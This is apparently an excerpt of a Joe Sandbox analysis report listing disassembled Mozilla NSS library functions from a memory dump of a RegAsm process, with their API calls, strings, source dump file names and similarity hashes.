free.MOZGLUE(?), ref: 6C3310B4
PR_DestroyCondVar.NSS3(?), ref: 6C3310BF
PR_DestroyCondVar.NSS3(?), ref: 6C3310CA
PR_DestroyCondVar.NSS3(?), ref: 6C3310D5
PR_DestroyCondVar.NSS3(?), ref: 6C3310E0
PR_DestroyLock.NSS3(?), ref: 6C3310EB
free.MOZGLUE(?), ref: 6C331105

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: f31200c832ae6dbcce8e9b4f3f995d0fb6620c3e2b01fe4bcb581da41b7687e0
Instruction ID: 2a6d5591ca4810729c6a36865de73afe5d23fa065433c3a645dddbb10018a0a0
Opcode Fuzzy Hash: f31200c832ae6dbcce8e9b4f3f995d0fb6620c3e2b01fe4bcb581da41b7687e0
Instruction Fuzzy Hash: 2B316BF9A00455ABDB01AF14EC45A85B775BF01319F184235E80912F61E772F978EFD2

Function 6C26EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C26EE0B

Part of subcall function 6C280BE0: malloc.MOZGLUE(6C278D2D,?,00000000,?), ref: 6C280BF8
Part of subcall function 6C280BE0: TlsGetValue.KERNEL32(6C278D2D,?,00000000,?), ref: 6C280C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C26EEE1

Part of subcall function 6C261D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C261D7E
Part of subcall function 6C261D50: EnterCriticalSection.KERNEL32(?), ref: 6C261D8E
Part of subcall function 6C261D50: PR_Unlock.NSS3(?), ref: 6C261DD3

TlsGetValue.KERNEL32 ref: 6C26EE51
EnterCriticalSection.KERNEL32(?), ref: 6C26EE65
PR_Unlock.NSS3(?), ref: 6C26EEA2
free.MOZGLUE(?), ref: 6C26EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C26EED0
PR_Unlock.NSS3(?), ref: 6C26EF48
free.MOZGLUE(?), ref: 6C26EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C26EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C26EFA4
free.MOZGLUE(?), ref: 6C26EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C26F055
free.MOZGLUE(?), ref: 6C26F060

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: f9ab0647efeabb7834dd5c040f4ea57ae7969b7536defff6ad6bd37637208c9c
Instruction ID: 5bd551c9e0235c0372a0f4cf0f7a228118cc625b631969b0082b10ec66a3ccc5
Opcode Fuzzy Hash: f9ab0647efeabb7834dd5c040f4ea57ae7969b7536defff6ad6bd37637208c9c
Instruction Fuzzy Hash: 728151B5A002099BDF01DF65DC85ADEB7B9BF09318F144024FD09A7A51E731E964CBA2

Function 6C234CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C234D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C234D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C234DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C234E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C234E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C234E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C234E85
DER_Encode_Util.NSS3(?,?,6C3805A4,00000000), ref: 6C234EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C234F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C234F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C234F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C234F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C234F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C234FC8

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 5979fd1bff5e01b5a78f09710d9a9142a0bd55c539253286e6abfd687f3611c4
Instruction ID: 8028b24787b46f90d41ae035cbf45a7d68786d16207c18064897f7d10abb2cfb
Opcode Fuzzy Hash: 5979fd1bff5e01b5a78f09710d9a9142a0bd55c539253286e6abfd687f3611c4
Instruction Fuzzy Hash: FD81C2B190831A9FE711CF24DC80B5BBBE4AB84708F1495A9FD5CDB640E732E904CB92

Function 6C268F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C269582), ref: 6C268F5B

Part of subcall function 6C27BE30: SECOID_FindOID_Util.NSS3(6C23311B,00000000,?,6C23311B,?), ref: 6C27BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C268F6A

Part of subcall function 6C280FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C2287ED,00000800,6C21EF74,00000000), ref: 6C281000
Part of subcall function 6C280FF0: PR_NewLock.NSS3(?,00000800,6C21EF74,00000000), ref: 6C281016
Part of subcall function 6C280FF0: PL_InitArenaPool.NSS3(00000000,security,6C2287ED,00000008,?,00000800,6C21EF74,00000000), ref: 6C28102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C268FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C268FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C34D820,6C269576), ref: 6C268FF9
DER_GetInteger_Util.NSS3(?), ref: 6C26901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C26903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C269062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C2690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C2690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C2690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C26912D
free.MOZGLUE(00000000), ref: 6C269136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C269145

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 3c10d59cd81fa85df58ac4b7100aff530276df2a5777bfc3ca17eb883427d928
Instruction ID: 28984e477586a1be274127cf6004f1172749fa9ac9cd737b29ab3ba1ad9ca419
Opcode Fuzzy Hash: 3c10d59cd81fa85df58ac4b7100aff530276df2a5777bfc3ca17eb883427d928
Instruction Fuzzy Hash: 0B5104B1A043059BEB00DF29DC80B97B7E4AF85318F144529ED58C7B41EB31E999CBA2

Function 6C25ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C25ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C25AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C25AE29

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C25AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C25AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C25AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C25AEA0

Strings

hSession = 0x%x, xrefs: 6C25AE01, 6C25AE11
n3l, xrefs: 6C25AEB8, 6C25AEE6
hKey = 0x%x, xrefs: 6C25AE62, 6C25AE72
C_MessageSignInit, xrefs: 6C25ADE1
(CK_INVALID_HANDLE), xrefs: 6C25AE1F, 6C25AE80

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$n3l
API String ID: 332880674-972192680
Opcode ID: dcb6ab61296eddc16ff596f4de51875ee91779b8c02e1f6964be6b89acc293a8
Instruction ID: 2fcb261824aa3bb0da4018894032c17b843b18fa6d7fd5bf4c6bf42bda5c0e32
Opcode Fuzzy Hash: dcb6ab61296eddc16ff596f4de51875ee91779b8c02e1f6964be6b89acc293a8
Instruction Fuzzy Hash: F8319371602158EBCB009B14DD89FBF77B9AB4630DF844435ED095BB11DB399928CFA2

Function 6C252DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C252DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C252E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C252E33

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C252E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C252E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C252E81

Strings

ulPinLen = %d, xrefs: 6C252E7C
pPin = 0x%p, xrefs: 6C252E63
hSession = 0x%x, xrefs: 6C252E0E, 6C252E1E
n3l, xrefs: 6C252E99, 6C252EC4
C_InitPIN, xrefs: 6C252DF1
(CK_INVALID_HANDLE), xrefs: 6C252E2C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$n3l
API String ID: 1003633598-3152120014
Opcode ID: e82320a9ace8a06c9fae53ce794e7f58d0898326eed35e79eaf56158ba246d6f
Instruction ID: 6c439dde7ac81233804d13a227740756061cccc3dee2bb1f9e9567aa54935e8d
Opcode Fuzzy Hash: e82320a9ace8a06c9fae53ce794e7f58d0898326eed35e79eaf56158ba246d6f
Instruction Fuzzy Hash: 4A31C4B5B02158ABDB009B14DD8CF8B77B9AB4631DF454024EC08ABB51DB35A958CFD2

Function 6C256EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C256F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C256F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C256F53

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C256F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C256F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C256FA1

Strings

hSession = 0x%x, xrefs: 6C256F2E, 6C256F3E
n3l, xrefs: 6C256FB9, 6C256FE7
pPart = 0x%p, xrefs: 6C256F83
ulPartLen = %d, xrefs: 6C256F9C
C_DigestUpdate, xrefs: 6C256F11
(CK_INVALID_HANDLE), xrefs: 6C256F4C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$n3l
API String ID: 1003633598-518484405
Opcode ID: 90a86612685b4dadd51dfed8dec9d80f6e5bcecba7c356b29c8acb0fcd31431d
Instruction ID: 81ef68c5094b417208997bd4d0e8db14dd03fbbf001392bf9012dd40bfc9cff1
Opcode Fuzzy Hash: 90a86612685b4dadd51dfed8dec9d80f6e5bcecba7c356b29c8acb0fcd31431d
Instruction Fuzzy Hash: CB31D534A121589FDB009B14DD88F9B77B9AB4331DF898024EC09A7B11DB369958CFD2

Function 6C21AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C21AF47

Part of subcall function 6C2E9090: TlsGetValue.KERNEL32 ref: 6C2E90AB
Part of subcall function 6C2E9090: TlsGetValue.KERNEL32 ref: 6C2E90C9
Part of subcall function 6C2E9090: EnterCriticalSection.KERNEL32 ref: 6C2E90E5
Part of subcall function 6C2E9090: TlsGetValue.KERNEL32 ref: 6C2E9116
Part of subcall function 6C2E9090: LeaveCriticalSection.KERNEL32 ref: 6C2E913F

FreeLibrary.KERNEL32(?), ref: 6C21AF6D
free.MOZGLUE(?), ref: 6C21AFA4
free.MOZGLUE(?), ref: 6C21AFAA
PR_ExitMonitor.NSS3 ref: 6C21AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C21AFF5
PR_ExitMonitor.NSS3 ref: 6C21B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C21B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C21B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C21B03C

Strings

%s decr => %d, xrefs: 6C21AFF0
Unloaded library %s, xrefs: 6C21B023

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 4bdef8b5867c4ac2a0d29b15eb1c368c78d239c0372e1b636bc627575e260219
Instruction ID: d53655137fcc0bd75fa1f9e259df8f16b2cce2b0df53f597c702cfa8e74dba71
Opcode Fuzzy Hash: 4bdef8b5867c4ac2a0d29b15eb1c368c78d239c0372e1b636bc627575e260219
Instruction Fuzzy Hash: 303103F5B08015EFEB01AE60DC40E95B7B8EB06309B284125ED1597E40E723E82CCBE2

Function 6C266C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C26781D,00000000,6C25BE2C,?,6C266B1D,?,?,?,?,00000000,00000000,6C26781D), ref: 6C266C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C26781D,?,6C25BE2C,?), ref: 6C266C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C26781D), ref: 6C266C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C266C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C266C96

Part of subcall function 6C211240: TlsGetValue.KERNEL32(00000040,?,6C21116C,NSPR_LOG_MODULES), ref: 6C211267
Part of subcall function 6C211240: EnterCriticalSection.KERNEL32(?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C21127C
Part of subcall function 6C211240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C211291
Part of subcall function 6C211240: PR_Unlock.NSS3(?,?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C2112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C266CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C266C91
dbm, xrefs: 6C266CA4
sql:, xrefs: 6C266C52
dbm:, xrefs: 6C266C3A
rdb:, xrefs: 6C266C69
extern:, xrefs: 6C266C7E

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 41ff56c4380fc9aecfd538b785ffa5dd5014de5944fce8e6062bbde7880baf4e
Instruction ID: e9f35c7bddbfc60c81c1bdfb2b273fe2a5bd523a3872066d2e02523517d52965
Opcode Fuzzy Hash: 41ff56c4380fc9aecfd538b785ffa5dd5014de5944fce8e6062bbde7880baf4e
Instruction Fuzzy Hash: F901A2A170272727E6002B7B6C8EF26655C9F4225EF140431FE08E0E85EAAAE55448B9

Function 6C274E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C2378F8), ref: 6C274E6D

Part of subcall function 6C2109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C2106A2,00000000,?), ref: 6C2109F8
Part of subcall function 6C2109E0: malloc.MOZGLUE(0000001F), ref: 6C210A18
Part of subcall function 6C2109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C210A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C2378F8), ref: 6C274ED9

Part of subcall function 6C265920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C267703,?,00000000,00000000), ref: 6C265942
Part of subcall function 6C265920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C267703), ref: 6C265954
Part of subcall function 6C265920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C26596A
Part of subcall function 6C265920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C265984
Part of subcall function 6C265920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C265999
Part of subcall function 6C265920: free.MOZGLUE(00000000), ref: 6C2659BA
Part of subcall function 6C265920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C2659D3
Part of subcall function 6C265920: free.MOZGLUE(00000000), ref: 6C2659F5
Part of subcall function 6C265920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C265A0A
Part of subcall function 6C265920: free.MOZGLUE(00000000), ref: 6C265A2E
Part of subcall function 6C265920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C265A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274EB3

Part of subcall function 6C274820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C274EB8,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C27484C
Part of subcall function 6C274820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C274EB8,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C27486D
Part of subcall function 6C274820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C274EB8,?), ref: 6C274884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274EC0

Part of subcall function 6C274470: TlsGetValue.KERNEL32(00000000,?,6C237296,00000000), ref: 6C274487
Part of subcall function 6C274470: EnterCriticalSection.KERNEL32(?,?,?,6C237296,00000000), ref: 6C2744A0
Part of subcall function 6C274470: PR_Unlock.NSS3(?,?,?,?,6C237296,00000000), ref: 6C2744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C274F8F
PK11_UpdateSlotAttribute.NSS3(?,6C34DCB0,00000000), ref: 6C274FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C27501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C2378F8), ref: 6C27506B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: b4864fdfbf6ee5279cd802b07c80b4a4c6e61ff366b8fa5184690773cdd52d78
Instruction ID: 26ac0d34b5f8977bbb963c8df7acdb40ce8556cc3784d4058de73df65dbd32f3
Opcode Fuzzy Hash: b4864fdfbf6ee5279cd802b07c80b4a4c6e61ff366b8fa5184690773cdd52d78
Instruction Fuzzy Hash: CA5105B1D0120A9BEB219F24EC85A9B76B8FF0531DF140635EC0A86A11FB31D565CBF2

Function 6C21ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C21ACE2
malloc.MOZGLUE(00000001), ref: 6C21ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C21AD02
TlsGetValue.KERNEL32 ref: 6C21AD3C
calloc.MOZGLUE(00000001,?), ref: 6C21AD8C
PR_Unlock.NSS3 ref: 6C21ADC0
free.MOZGLUE(00000000), ref: 6C21AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C21AE58
